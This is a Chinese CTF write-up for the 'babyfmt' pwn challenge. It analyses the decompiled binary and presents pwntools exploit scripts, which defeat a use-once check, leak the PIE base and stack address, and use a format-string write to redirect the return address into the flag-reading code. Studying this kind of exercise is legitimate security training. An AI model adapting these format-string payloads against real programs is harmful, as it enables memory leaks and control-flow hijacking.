题目给定ELF文件一个
main()函数过多,在这里简单分析。利用menu()函数讲解。
首先main函数在清空输入输出流后进入一个函数initial()。在secret处写入0x40个随机数。
unsigned __int64 initial()
{
int fd; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
fd = open("/dev/urandom", 0);
if ( read(fd, secret, 0x40uLL) < 0 )
{
puts("read error!");
exit(1);
}
close(fd);
return __readfsqword(0x28u) ^ v2;
}
执行完之后进入一个互动函数ask_time(),随便输入三个数字即可通过。
unsigned __int64 ask_time()
{
__int64 v1; // [rsp+0h] [rbp-20h]
__int64 v2; // [rsp+8h] [rbp-18h]
__int64 v3; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
puts("dididada.....");
printf("tell me the time:");
_isoc99_scanf("%ld", &v1);
_isoc99_scanf("%ld", &v2);
_isoc99_scanf("%ld", &v3);
printf("ok! time is %ld:%ld:%ld\n", v1, v2, v3);
return __readfsqword(0x28u) ^ v4;
}
menu()函数,表示功能。
unsigned __int64 menu()
{
unsigned __int64 v0; // ST08_8
v0 = __readfsqword(0x28u);
puts("1. leak");
puts("2. fmt_attack");
puts("3. get_flag");
puts("4. exit");
printf(">>");
return __readfsqword(0x28u) ^ v0;
}
leak()会泄露任意地址内的一个字节,只能使用一次(我做题的时候没用到)。
unsigned __int64 __fastcall leak(_DWORD *a1)
{
void *buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( *a1 > 0 )
{
puts("No way!");
exit(1);
}
*a1 = 1;
read_n(&buf, 8);
write(1, buf, 1uLL);
return __readfsqword(0x28u) ^ v3;
}
fmt_attack()会进行一次格式化字符串攻击,只能使用一次,不过他的验证机制存在栈内,且执行先于fmt攻击,可以进行修改。
unsigned __int64 __fastcall fmt_attack(_DWORD *a1)
{
char format; // [rsp+10h] [rbp-40h]
unsigned __int64 v3; // [rsp+48h] [rbp-8h]
v3 = __readfsqword(0x28u);
memset(&format, 0, 0x30uLL);
if ( *a1 > 0 )
{
puts("No way!");
exit(1);
}
*a1 = 1;
read_n(&format, 40);
printf(&format, 40LL);
return __readfsqword(0x28u) ^ v3;
}
get_flag()“后门”函数,不过有验证机制,必须你的输入与随机数完全相符,才能继续执行,不过这个玩意有个坑爹之处,符合标准后先执行close(1),然后程序崩溃,无法获得flag,几乎无法触发利用(个人认为)。
void __noreturn get_flag()
{
int fd; // ST0C_4
char s2; // [rsp+10h] [rbp-60h]
unsigned __int64 v2; // [rsp+68h] [rbp-8h]
v2 = __readfsqword(0x28u);
memset(&s2, 0, 0x50uLL);
puts("If you can open the door!");
read_n(&s2, 64);
if ( !strncmp(secret, &s2, 0x40uLL) )
{
close(1);
fd = open("/flag", 0);
read(fd, &s2, 0x50uLL);
printf(&s2, &s2);
exit(0);
}
puts("No way!");
exit(1);
}
checksec得知该程序4保护全开,不能直接栈溢出,不能直接跳转指定地址,不能修改got表,栈内不可执行。
多次交互后进入关键函数fmt_attack()函数内,多次测试$rbp内的值为第16个参数。经过计算得出该函数使用验证位为第16-0x48/8=7位,第17位的ret可泄露pie。
思路为首先将验证位归零,破坏验证机制以便重复利用格式化字符串漏洞,并泄露pie和rbp的值以便接下来的操作,脚本如下。
local = 1
if local == 1:
r=process('./babyfmt')
gdb.attach(r,'b * $rebase(0xED1)')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r=remote('node3.buuoj.cn',27965)
#libc = ELF('./libc.so.6')
elf = ELF('./babyfmt')
for i in range(3):
r.sendline('1')
#三次交互随便发数字
r.recvuntil('>>')
r.sendline('2')
sleep(2)
r.sendline('%7$n%17$p%16$psaaaaaaaa')
pie = int(r.recv(14),16)-4140
rbp = int(r.recv(14),16)-0x30
print '17>>>>>'+hex(pie+4140)
print 'pie>>>>'+hex(pie)
print 'rbp>>>>'+hex(rbp)
r.interactive()
泄露后可以二次格式化字符串随意修改该函数的ret地址,不过只能修改一次因为修改后会离开程序无法回来,且exp限制在40个字节内不能完全修改ret地址。这时想到get_flag()函数有读取flag操作,且与ret地址前2/3完全相同,直接格式化修改后两位byte跳转至关键部位。
关键部位
.text:0000000000000F13 lea rdi, aIfYouCanOpenTh ; "If you can open the door!"
.text:0000000000000F1A call puts
.text:0000000000000F1F lea rax, [rbp+s2]
.text:0000000000000F23 mov esi, 40h ; '@'
.text:0000000000000F28 mov rdi, rax
.text:0000000000000F2B call read_n
.text:0000000000000F30 lea rax, [rbp+s2]
.text:0000000000000F34 mov edx, 40h ; '@' ; n
.text:0000000000000F39 mov rsi, rax ; s2
.text:0000000000000F3C lea rdi, secret ; s1
.text:0000000000000F43 call strncmp
.text:0000000000000F48 test eax, eax
.text:0000000000000F4A jnz short loc_FA0
.text:0000000000000F4C mov edi, 1 ; fd
.text:0000000000000F51 call close
.text:0000000000000F56 <============= mov esi, 0 ; oflag
.text:0000000000000F5B lea rdi, aFlag ; "/flag"
.text:0000000000000F62 mov eax, 0
.text:0000000000000F67 call open
.text:0000000000000F6C mov [rbp+fd], eax
.text:0000000000000F6F lea rcx, [rbp+s2]
.text:0000000000000F73 mov eax, [rbp+fd]
.text:0000000000000F76 mov edx, 50h ; 'P' ; nbytes
.text:0000000000000F7B mov rsi, rcx ; buf
.text:0000000000000F7E mov edi, eax ; fd
.text:0000000000000F80 call read
.text:0000000000000F85 lea rax, [rbp+s2]
.text:0000000000000F89 mov rdi, rax ; format
.text:0000000000000F8C mov eax, 0
.text:0000000000000F91 call printf
.text:0000000000000F96 mov edi, 0 ; status
.text:0000000000000F9B call exit
.text:0000000000000FA0 ; ---------------------------------------------------------------------------
exp如下
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
local = 1
if local == 1:
r=process('./babyfmt')
gdb.attach(r,'b * $rebase(0xED1)')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r=remote('node3.buuoj.cn',27965)
#libc = ELF('./libc.so.6')
elf = ELF('./babyfmt')
for i in range(3):
r.sendline('1')
r.recvuntil('>>')
r.sendline('2')
sleep(2)
r.sendline('%7$n%17$p%16$psaaaaaaaa')
pie = int(r.recv(14),16)-4140
rbp = int(r.recv(14),16)-0x30
print '17>>>>>'+hex(pie+4140)
print 'pie>>>>'+hex(pie)
print 'rbp>>>>'+hex(rbp)
secret = pie+0x202060
flag = pie+0xF56
r.recvuntil('>>')
r.sendline('2')
sleep(1)
num = flag & 0xffff
exp = '%'+str(num)+'c%10$hn'
exp += 'a'*(16-len(exp))
exp +=p64(rbp+8)
print len(exp)
r.sendline(exp)
r.interactive()
该操作如果输出过多可能会导致崩溃,多次执行就会成功。
\xa0aaaa�,HD\xfe\x7fflag{xxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}
�4\xb8\x94\x7f\x10-HD\xfe\x7[*] Got EOF while reading in interactive
$
全部评论 (暂无评论)
info 还没有任何评论,你来说两句呐!